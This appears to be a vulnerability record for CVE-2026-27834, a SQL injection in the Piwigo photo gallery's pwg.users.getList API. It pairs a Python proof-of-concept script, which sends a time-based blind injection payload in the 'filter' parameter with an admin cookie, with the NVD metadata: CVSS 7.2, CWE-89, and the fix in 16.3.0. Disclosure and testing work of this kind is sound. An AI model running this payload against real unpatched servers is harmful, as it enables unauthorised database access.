CVE-2026-27834

import requests # Target URL # Replace with the actual domain of the vulnerable Piwigo instance target_url = "http://localhost/piwigo/ws.php" # Malicious payload for the 'filter' parameter # This payload uses a time-based blind SQL injection technique # It attempts to make the database sleep for 5 seconds if the query is successful payload = "1' AND SLEEP(5)-- " # Valid authentication cookies are required (Admin privileges) # Replace 'YOUR_ADMIN_SESSION_COOKIE' with a valid session ID cookies = { "pwg_id": "YOUR_ADMIN_SESSION_COOKIE" } # POST data structure for the Web Service API data = { "method": "pwg.users.getList", "filter": payload } try: # Sending the POST request to the vulnerable endpoint response = requests.post(target_url, data=data, cookies=cookies, timeout=10) # Analyze the response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability confirmed!") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not detected or payload failed.") except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-27834", "sourceIdentifier": "[email protected]", "published": "2026-04-03T22:16:26.013", "lastModified": "2026-04-09T21:15:01.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Piwigo is an open source photo gallery application for the web. Prior to version 16.3.0, a SQL Injection vulnerability exists in the pwg.users.getList Web Service API method. The filter parameter is directly concatenated into a SQL query without proper sanitization, allowing authenticated administrators to execute arbitrary SQL commands. This issue has been patched in version 16.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.3.0", "matchCriteriaId": "3502BA46-5475-47BC-BA8F-F9456A836F1A"}]}]}], "references": [{"url": "https://github.com/Piwigo/Piwigo/commit/9df471f16243371dc3725c5262e1632d23c8218a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Piwigo/Piwigo/security/advisories/GHSA-5jwg-cr5q-vjq2", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://piwigo.org/release-16.3.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/Piwigo/Piwigo/security/advisories/GHSA-5jwg-cr5q-vjq2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}